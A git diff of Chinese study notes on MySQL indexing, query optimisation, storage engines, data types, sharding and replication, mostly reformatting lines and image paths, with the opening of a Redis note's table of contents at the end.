-操作系统一般将内存和磁盘分割成固定大小的块，每一块称为一页，内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小，使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性，相邻的节点也能够被预先载入。
+操作系统一般将内存和磁盘分割成固定大小的块，每一块称为一页，内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小，使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性，相邻的节点也能够被预先载入。
 
-## MySQL 索引
+## MySQL 索引
 
 索引是在存储引擎层实现的，而不是在服务器层实现的，所以不同存储引擎具有不同的索引类型和实现。
 
-### 1. B+Tree 索引
+### 1. B+Tree 索引
 
-是大多数 MySQL 存储引擎的默认索引类型。
+是大多数 MySQL 存储引擎的默认索引类型。
 
 因为不再需要进行全表扫描，只需要对树进行搜索即可，所以查找速度快很多。
 
@@ -50,185 +83,185 @@ B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，
 
 适用于全键值、键值范围和键前缀查找，其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找，则无法使用索引。
 
-InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录，这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方，所以一个表只能有一个聚簇索引。
+InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录，这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方，所以一个表只能有一个聚簇索引。
 
-<img src="index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px">
+<div align="center"> <img src="pics/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px"> </div><br>
 
-辅助索引的叶子节点的 data 域记录着主键的值，因此在使用辅助索引进行查找时，需要先查找到主键值，然后再到主索引中进行查找。
+辅助索引的叶子节点的 data 域记录着主键的值，因此在使用辅助索引进行查找时，需要先查找到主键值，然后再到主索引中进行查找。
 
-<img src="index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px">
+<div align="center"> <img src="pics/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px"> </div><br>
 
-### 2. 哈希索引
+### 2. 哈希索引
 
-哈希索引能以 O(1) 时间进行查找，但是失去了有序性：
+哈希索引能以 O(1) 时间进行查找，但是失去了有序性：
 
-- 无法用于排序与分组；
-- 只支持精确查找，无法用于部分查找和范围查找。
+- 无法用于排序与分组；
+- 只支持精确查找，无法用于部分查找和范围查找。
 
-InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”，当某个索引值被使用的非常频繁时，会在 B+Tree 索引之上再创建一个哈希索引，这样就让 B+Tree 索引具有哈希索引的一些优点，比如快速的哈希查找。
+InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”，当某个索引值被使用的非常频繁时，会在 B+Tree 索引之上再创建一个哈希索引，这样就让 B+Tree 索引具有哈希索引的一些优点，比如快速的哈希查找。
 
-### 3. 全文索引
+### 3. 全文索引
 
-MyISAM 存储引擎支持全文索引，用于查找文本中的关键词，而不是直接比较是否相等。
+MyISAM 存储引擎支持全文索引，用于查找文本中的关键词，而不是直接比较是否相等。
 
-查找条件使用 MATCH AGAINST，而不是普通的 WHERE。
+查找条件使用 MATCH AGAINST，而不是普通的 WHERE。
 
 全文索引使用倒排索引实现，它记录着关键词到其所在文档的映射。
 
-InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
+InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
 
-### 4. 空间数据索引
+### 4. 空间数据索引
 
-MyISAM 存储引擎支持空间数据索引（R-Tree），可以用于地理数据存储。空间数据索引会从所有维度来索引数据，可以有效地使用任意维度来进行组合查询。
+MyISAM 存储引擎支持空间数据索引（R-Tree），可以用于地理数据存储。空间数据索引会从所有维度来索引数据，可以有效地使用任意维度来进行组合查询。
 
-必须使用 GIS 相关的函数来维护数据。
+必须使用 GIS 相关的函数来维护数据。
 
-## 索引优化
+## 索引优化
 
-### 1. 独立的列
+### 1. 独立的列
 
 在进行查询时，索引列不能是表达式的一部分，也不能是函数的参数，否则无法使用索引。
 
-例如下面的查询不能使用 actor_id 列的索引：
+例如下面的查询不能使用 actor_id 列的索引：
 
 ```sql
-SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
+SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
 ```
 
-### 2. 多列索引
+### 2. 多列索引
 
-在需要使用多个列作为条件进行查询时，使用多列索引比使用多个单列索引性能更好。例如下面的语句中，最好把 actor_id 和 film_id 设置为多列索引。
+在需要使用多个列作为条件进行查询时，使用多列索引比使用多个单列索引性能更好。例如下面的语句中，最好把 actor_id 和 film_id 设置为多列索引。
 
 ```sql
-SELECT film_id, actor_ id FROM sakila.film_actor
-WHERE actor_id = 1 AND film_id = 1;
+SELECT film_id, actor_ id FROM sakila.film_actor
+WHERE actor_id = 1 AND film_id = 1;
 ```
 
-### 3. 索引列的顺序
+### 3. 索引列的顺序
 
 让选择性最强的索引列放在前面。
 
-索引的选择性是指：不重复的索引值和记录总数的比值。最大值为 1，此时每个记录都有唯一的索引与其对应。选择性越高，查询效率也越高。
+索引的选择性是指：不重复的索引值和记录总数的比值。最大值为 1，此时每个记录都有唯一的索引与其对应。选择性越高，查询效率也越高。
 
-例如下面显示的结果中 customer_id 的选择性比 staff_id 更高，因此最好把 customer_id 列放在多列索引的前面。
+例如下面显示的结果中 customer_id 的选择性比 staff_id 更高，因此最好把 customer_id 列放在多列索引的前面。
 
 ```sql
-SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
-COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
+SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
+COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
 COUNT(*)
-FROM payment;
+FROM payment;
 ```
 
 ```html
-   staff_id_selectivity: 0.0001
-customer_id_selectivity: 0.0373
-               COUNT(*): 16049
+   staff_id_selectivity: 0.0001
+customer_id_selectivity: 0.0373
+               COUNT(*): 16049
 ```
 
-### 4. 前缀索引
+### 4. 前缀索引
 
-对于 BLOB、TEXT 和 VARCHAR 类型的列，必须使用前缀索引，只索引开始的部分字符。
+对于 BLOB、TEXT 和 VARCHAR 类型的列，必须使用前缀索引，只索引开始的部分字符。
 
 对于前缀长度的选取需要根据索引选择性来确定。
 
-### 5. 覆盖索引
+### 5. 覆盖索引
 
 索引包含所有需要查询的字段的值。
 
 具有以下优点：
 
-- 索引通常远小于数据行的大小，只读取索引能大大减少数据访问量。
-- 一些存储引擎（例如 MyISAM）在内存中只缓存索引，而数据依赖于操作系统来缓存。因此，只访问索引可以不使用系统调用（通常比较费时）。
-- 对于 InnoDB 引擎，若辅助索引能够覆盖查询，则无需访问主索引。
+- 索引通常远小于数据行的大小，只读取索引能大大减少数据访问量。
+- 一些存储引擎（例如 MyISAM）在内存中只缓存索引，而数据依赖于操作系统来缓存。因此，只访问索引可以不使用系统调用（通常比较费时）。
+- 对于 InnoDB 引擎，若辅助索引能够覆盖查询，则无需访问主索引。
 
-## 索引的优点
+## 索引的优点
 
-- 大大减少了服务器需要扫描的数据行数。
+- 大大减少了服务器需要扫描的数据行数。
 
-- 帮助服务器避免进行排序和分组，以及避免创建临时表（B+Tree 索引是有序的，可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建，因为不需要排序和分组，也就不需要创建临时表）。
+- 帮助服务器避免进行排序和分组，以及避免创建临时表（B+Tree 索引是有序的，可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建，因为不需要排序和分组，也就不需要创建临时表）。
 
-- 将随机 I/O 变为顺序 I/O（B+Tree 索引是有序的，会将相邻的数据都存储在一起）。
+- 将随机 I/O 变为顺序 I/O（B+Tree 索引是有序的，会将相邻的数据都存储在一起）。
 
-## 索引的使用条件
+## 索引的使用条件
 
-- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效；
+- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效；
 
-- 对于中到大型的表，索引就非常有效；
+- 对于中到大型的表，索引就非常有效；
 
-- 但是对于特大型的表，建立和维护索引的代价将会随之增长。这种情况下，需要用到一种技术可以直接区分出需要查询的一组数据，而不是一条记录一条记录地匹配，例如可以使用分区技术。
+- 但是对于特大型的表，建立和维护索引的代价将会随之增长。这种情况下，需要用到一种技术可以直接区分出需要查询的一组数据，而不是一条记录一条记录地匹配，例如可以使用分区技术。
 
-# 二、查询性能优化
+# 二、查询性能优化
 
-## 使用 Explain 进行分析
+## 使用 Explain 进行分析
 
-Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explain 结果来优化查询语句。
+Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explain 结果来优化查询语句。
 
 比较重要的字段有：
 
-- select_type : 查询类型，有简单查询、联合查询、子查询等
-- key : 使用的索引
-- rows : 扫描的行数
+- select_type : 查询类型，有简单查询、联合查询、子查询等
+- key : 使用的索引
+- rows : 扫描的行数
 
-## 优化数据访问
+## 优化数据访问
 
-### 1. 减少请求的数据量
+### 1. 减少请求的数据量
 
-- 只返回必要的列：最好不要使用 SELECT * 语句。
-- 只返回必要的行：使用 LIMIT 语句来限制返回的数据。
-- 缓存重复查询的数据：使用缓存可以避免在数据库中进行查询，特别在要查询的数据经常被重复查询时，缓存带来的查询性能提升将会是非常明显的。
+- 只返回必要的列：最好不要使用 SELECT * 语句。
+- 只返回必要的行：使用 LIMIT 语句来限制返回的数据。
+- 缓存重复查询的数据：使用缓存可以避免在数据库中进行查询，特别在要查询的数据经常被重复查询时，缓存带来的查询性能提升将会是非常明显的。
 
-### 2. 减少服务器端扫描的行数
+### 2. 减少服务器端扫描的行数
 
 最有效的方式是使用索引来覆盖查询。
 
-## 重构查询方式
+## 重构查询方式
 
-### 1. 切分大查询
+### 1. 切分大查询
 
 一个大查询如果一次性执行的话，可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
 
 ```sql
-DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
+DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
 ```
 
 ```sql
-rows_affected = 0
-do {
-    rows_affected = do_query(
-    "DELETE FROM messages WHERE create  < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
-} while rows_affected > 0
+rows_affected = 0
+do {
+    rows_affected = do_query(
+    "DELETE FROM messages WHERE create  < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
+} while rows_affected > 0
 ```
 
-### 2. 分解大连接查询
+### 2. 分解大连接查询
 
 将一个大连接查询分解成对每一个表进行一次单表查询，然后在应用程序中进行关联，这样做的好处有：
 
-- 让缓存更高效。对于连接查询，如果其中一个表发生变化，那么整个查询缓存就无法使用。而分解后的多个查询，即使其中一个表发生变化，对其它表的查询缓存依然可以使用。
-- 分解成多个单表查询，这些单表查询的缓存结果更可能被其它查询使用到，从而减少冗余记录的查询。
-- 减少锁竞争；
-- 在应用层进行连接，可以更容易对数据库进行拆分，从而更容易做到高性能和可伸缩。
-- 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
+- 让缓存更高效。对于连接查询，如果其中一个表发生变化，那么整个查询缓存就无法使用。而分解后的多个查询，即使其中一个表发生变化，对其它表的查询缓存依然可以使用。
+- 分解成多个单表查询，这些单表查询的缓存结果更可能被其它查询使用到，从而减少冗余记录的查询。
+- 减少锁竞争；
+- 在应用层进行连接，可以更容易对数据库进行拆分，从而更容易做到高性能和可伸缩。
+- 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
 
 ```sql
-SELECT * FROM tab
-JOIN tag_post ON tag_post.tag_id=tag.id
-JOIN post ON tag_post.post_id=post.id
-WHERE tag.tag='mysql';
+SELECT * FROM tab
+JOIN tag_post ON tag_post.tag_id=tag.id
+JOIN post ON tag_post.post_id=post.id
+WHERE tag.tag='mysql';
 ```
 
 ```sql
-SELECT * FROM tag WHERE tag='mysql';
-SELECT * FROM tag_post WHERE tag_id=1234;
-SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
+SELECT * FROM tag WHERE tag='mysql';
+SELECT * FROM tag_post WHERE tag_id=1234;
+SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 ```
 
-# 三、存储引擎
+# 三、存储引擎
 
-## InnoDB
+## InnoDB
 
-是 MySQL 默认的事务型存储引擎，只有在需要它不支持的特性时，才考虑使用其它存储引擎。
+是 MySQL 默认的事务型存储引擎，只有在需要它不支持的特性时，才考虑使用其它存储引擎。
 
-实现了四个标准的隔离级别，默认级别是可重复读（REPEATABLE READ）。在可重复读隔离级别下，通过多版本并发控制（MVCC）+ 间隙锁（Next-Key Locking）防止幻影读。
+实现了四个标准的隔离级别，默认级别是可重复读（REPEATABLE READ）。在可重复读隔离级别下，通过多版本并发控制（MVCC）+ 间隙锁（Next-Key Locking）防止幻影读。
 
 主索引是聚簇索引，在索引中保存了数据，从而避免直接读取磁盘，因此对查询性能有很大的提升。
 
@@ -236,7 +269,7 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 
 支持真正的在线热备份。其它存储引擎不支持在线热备份，要获取一致性视图需要停止对所有表的写入，而在读写混合场景中，停止写入可能也意味着停止读取。
 
-## MyISAM
+## MyISAM
 
 设计简单，数据以紧密格式存储。对于只读数据，或者表比较小、可以容忍修复操作，则依然可以使用它。
 
@@ -244,156 +277,148 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
 
 不支持事务。
 
-不支持行级锁，只能对整张表加锁，读取时会对需要读到的所有表加共享锁，写入时则对表加排它锁。但在表有读取操作的同时，也可以往表中插入新的记录，这被称为并发插入（CONCURRENT INSERT）。
+不支持行级锁，只能对整张表加锁，读取时会对需要读到的所有表加共享锁，写入时则对表加排它锁。但在表有读取操作的同时，也可以往表中插入新的记录，这被称为并发插入（CONCURRENT INSERT）。
 
 可以手工或者自动执行检查和修复操作，但是和事务恢复以及崩溃恢复不同，可能导致一些数据丢失，而且修复操作是非常慢的。
 
-如果指定了 DELAY_KEY_WRITE 选项，在每次修改执行完成时，不会立即将修改的索引数据写入磁盘，而是会写到内存中的键缓冲区，只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能，但是在数据库或者主机崩溃时会造成索引损坏，需要执行修复操作。
+如果指定了 DELAY_KEY_WRITE 选项，在每次修改执行完成时，不会立即将修改的索引数据写入磁盘，而是会写到内存中的键缓冲区，只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能，但是在数据库或者主机崩溃时会造成索引损坏，需要执行修复操作。
 
-## 比较
+## 比较
 
-- 事务：InnoDB 是事务型的，可以使用 Commit 和 Rollback 语句。
+- 事务：InnoDB 是事务型的，可以使用 Commit 和 Rollback 语句。
 
-- 并发：MyISAM 只支持表级锁，而 InnoDB 还支持行级锁。
+- 并发：MyISAM 只支持表级锁，而 InnoDB 还支持行级锁。
 
-- 外键：InnoDB 支持外键。
+- 外键：InnoDB 支持外键。
 
-- 备份：InnoDB 支持在线热备份。
+- 备份：InnoDB 支持在线热备份。
 
-- 崩溃恢复：MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多，而且恢复的速度也更慢。
+- 崩溃恢复：MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多，而且恢复的速度也更慢。
 
-- 其它特性：MyISAM 支持压缩表和空间数据索引。
+- 其它特性：MyISAM 支持压缩表和空间数据索引。
 
-# 四、数据类型
+# 四、数据类型
 
-## 整型
+## 整型
 
-TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间，一般情况下越小的列越好。
+TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间，一般情况下越小的列越好。
 
-INT(11) 中的数字只是规定了交互工具显示字符的个数，对于存储和计算来说是没有意义的。
+INT(11) 中的数字只是规定了交互工具显示字符的个数，对于存储和计算来说是没有意义的。
 
-## 浮点数
+## 浮点数
 
-FLOAT 和 DOUBLE 为浮点类型，DECIMAL 为高精度小数类型。CPU 原生支持浮点运算，但是不支持 DECIMAl 类型的计算，因此 DECIMAL 的计算比浮点类型需要更高的代价。
+FLOAT 和 DOUBLE 为浮点类型，DECIMAL 为高精度小数类型。CPU 原生支持浮点运算，但是不支持 DECIMAl 类型的计算，因此 DECIMAL 的计算比浮点类型需要更高的代价。
 
-FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽，例如 DECIMAL(18, 9) 表示总共 18 位，取 9 位存储小数部分，剩下 9 位存储整数部分。
+FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽，例如 DECIMAL(18, 9) 表示总共 18 位，取 9 位存储小数部分，剩下 9 位存储整数部分。
 
-## 字符串
+## 字符串
 
-主要有 CHAR 和 VARCHAR 两种类型，一种是定长的，一种是变长的。
+主要有 CHAR 和 VARCHAR 两种类型，一种是定长的，一种是变长的。
 
-VARCHAR 这种变长类型能够节省空间，因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长，当超出一个页所能容纳的大小时，就要执行额外的操作。MyISAM 会将行拆成不同的片段存储，而 InnoDB 则需要分裂页来使行放进页内。
+VARCHAR 这种变长类型能够节省空间，因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长，当超出一个页所能容纳的大小时，就要执行额外的操作。MyISAM 会将行拆成不同的片段存储，而 InnoDB 则需要分裂页来使行放进页内。
 
-在进行存储和检索时，会保留 VARCHAR 末尾的空格，而会删除 CHAR 末尾的空格。
+在进行存储和检索时，会保留 VARCHAR 末尾的空格，而会删除 CHAR 末尾的空格。
 
-## 时间和日期
+## 时间和日期
 
-MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
+MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
 
-### 1. DATETIME
+### 1. DATETIME
 
-能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
+能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
 
 它与时区无关。
 
-默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
+默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
 
-### 2. TIMESTAMP
+### 2. TIMESTAMP
 
-和 UNIX 时间戳相同，保存从 1970 年 1 月 1 日午夜（格林威治时间）以来的秒数，使用 4 个字节，只能表示从 1970 年到 2038 年。
+和 UNIX 时间戳相同，保存从 1970 年 1 月 1 日午夜（格林威治时间）以来的秒数，使用 4 个字节，只能表示从 1970 年到 2038 年。
 
 它和时区有关，也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
 
-MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期，并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
+MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期，并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
 
-默认情况下，如果插入时没有指定 TIMESTAMP 列的值，会将这个值设置为当前时间。
+默认情况下，如果插入时没有指定 TIMESTAMP 列的值，会将这个值设置为当前时间。
 
-应该尽量使用 TIMESTAMP，因为它比 DATETIME 空间效率更高。
+应该尽量使用 TIMESTAMP，因为它比 DATETIME 空间效率更高。
 
-# 五、切分
+# 五、切分
 
-## 水平切分
+## 水平切分
 
-水平切分又称为 Sharding，它是将同一个表中的记录拆分到多个结构相同的表中。
+水平切分又称为 Sharding，它是将同一个表中的记录拆分到多个结构相同的表中。
 
-当一个表的数据不断增多时，Sharding 是必然的选择，它可以将数据分布到集群的不同节点上，从而缓存单个数据库的压力。
+当一个表的数据不断增多时，Sharding 是必然的选择，它可以将数据分布到集群的不同节点上，从而缓存单个数据库的压力。
 
-![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
+<div align="center"> <img src="pics/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br>
 
-## 垂直切分
+## 垂直切分
 
 垂直切分是将一张表按列切分成多个表，通常是按照列的关系密集程度进行切分，也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
 
 在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中，例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。
 
-![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
+<div align="center"> <img src="pics/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br>
 
-## Sharding 策略
+## Sharding 策略
 
-- 哈希取模：hash(key) % N；
-- 范围：可以是 ID 范围也可以是时间范围；
-- 映射表：使用单独的一个数据库来存储映射关系。
+- 哈希取模：hash(key) % N；
+- 范围：可以是 ID 范围也可以是时间范围；
+- 映射表：使用单独的一个数据库来存储映射关系。
 
-## Sharding 存在的问题
+## Sharding 存在的问题
 
-### 1. 事务问题
+### 1. 事务问题
 
-使用分布式事务来解决，比如 XA 接口。
+使用分布式事务来解决，比如 XA 接口。
 
-### 2. 连接
+### 2. 连接
 
 可以将原来的连接分解成多个单表查询，然后在用户程序中进行连接。
 
-### 3. ID 唯一性
+### 3. ID 唯一性
 
-- 使用全局唯一 ID（GUID）
-- 为每个分片指定一个 ID 范围
-- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
+- 使用全局唯一 ID（GUID）
+- 为每个分片指定一个 ID 范围
+- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
 
-# 六、复制
+# 六、复制
 
-## 主从复制
+## 主从复制
 
-主要涉及三个线程：binlog 线程、I/O 线程和 SQL 线程。
+主要涉及三个线程：binlog 线程、I/O 线程和 SQL 线程。
 
-- **binlog 线程**：负责将主服务器上的数据更改写入二进制日志（Binary log）中。
-- **I/O 线程**：负责从主服务器上读取二进制日志，并写入从服务器的重放日志（Replay log）中。
-- **SQL 线程**：负责读取重放日志并重放其中的 SQL 语句。
+-  **binlog 线程** ：负责将主服务器上的数据更改写入二进制日志（Binary log）中。
+-  **I/O 线程** ：负责从主服务器上读取二进制日志，并写入从服务器的重放日志（Replay log）中。
+-  **SQL 线程** ：负责读取重放日志并重放其中的 SQL 语句。
 
-![](index_files/master-slave.png)
+<div align="center"> <img src="pics/master-slave.png"/> </div><br>
 
-## 读写分离
+## 读写分离
 
 主服务器处理写操作以及实时性要求比较高的读操作，而从服务器处理读操作。
 
 读写分离能提高性能的原因在于：
 
-- 主从服务器负责各自的读和写，极大程度缓解了锁的争用；
-- 从服务器可以使用 MyISAM，提升查询性能以及节约系统开销；
-- 增加冗余，提高可用性。
+- 主从服务器负责各自的读和写，极大程度缓解了锁的争用；
+- 从服务器可以使用 MyISAM，提升查询性能以及节约系统开销；
+- 增加冗余，提高可用性。
 
 读写分离常用代理方式来实现，代理服务器接收应用层传来的读写请求，然后决定转发到哪个服务器。
 
-![](index_files/master-slave-proxy.png)
+<div align="center"> <img src="pics/master-slave-proxy.png"/> </div><br>
 
-# 参考资料
+# 参考资料
 
-- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
-- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
-- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
-- [服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策")
-- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
-- [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
-- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
-- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
-- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
-- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
-- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
----bottom---CyC---
-![](index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png)
-![](index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png)
-![](index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png)
-![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
-![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
-![](index_files/master-slave.png)
-![](index_files/master-slave-proxy.png)
+- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
+- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
+- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
+- [服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL（09） 分库与分表带来的分布式困境与应对之策")
+- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
+- [SQL Azure Federation – Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
+- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
+- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
+- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
+- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
+- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index 4302c1a0..2dc996c0 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,385 +1,433 @@
-# 一、概述
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概述](#一概述)
+* [二、数据类型](#二数据类型)
+    * [STRING](#string)
+    * [LIST](#list)
+    * [SET](#set)
+    * [HASH](#hash)
+    * [ZSET](#zset)
+* [三、数据结构](#三数据结构)
+    * [字典](#字典)
+    * [跳跃表](#跳跃表)
+* [四、使用场景](#四使用场景)
+    * [计数器](#计数器)
+    * [缓存](#缓存)
+    * [查找表](#查找表)
+    * [消息队列](#消息队列)
+    * [会话缓存](#会话缓存)
+    * [分布式锁实现](#分布式锁实现)
+    * [其它](#其它)
+* [五、Redis 与 Memcached](#五redis-与-memcached)
+    * [数据类型](#数据类型)
+    * [数据持久化](#数据持久化)
+    * [分布式](#分布式)
+    * [内存管理机制](#内存管理机制)
+* [六、键的过期时间](#六键的过期时间)
+* [七、数据淘汰策略](#七数据淘汰策略)
+* [八、持久化](#八持久化)
+    * [RDB 持久化](#rdb-持久化)
+    * [AOF 持久化](#aof-持久化)
+* [九、事务](#九事务)
+* [十、事件](#十事件)
+    * [文件事件](#文件事件)
+    * [时间事件](#时间事件)
+    * [事件的调度与执行](#事件的调度与执行)
+* [十一、复制](#十一复制)
+    * [连接过程](#连接过程)
+    * [主从链](#主从链)
+* [十二、Sentinel](#十二sentinel)
+* [十三、分片](#十三分片)
+* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
+    * [文章信息](#文章信息)
+    * [点赞功能](#点赞功能)
+    * [对文章进行排序](#对文章进行排序)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
+
+# 一、概述
+
+Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
 
 键的类型只能为字符串，值支持五种数据类型：字符串、列表、集合、散列表、有序集合。
 
-Redis 支持很多特性，例如将内存中的数据持久化到硬盘中，使用复制来扩展读性能，使用分片来扩展写性能。
+Redis 支持很多特性，例如将内存中的数据持久化到硬盘中，使用复制来扩展读性能，使用分片来扩展写性能。
 
-# 二、数据类型
+# 二、数据类型
 
-| 数据类型 | 可以存储的值 | 操作 |
-| :--: | :--: | :--: |
-| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
-| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪，只保留一个范围内的元素 |
-| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
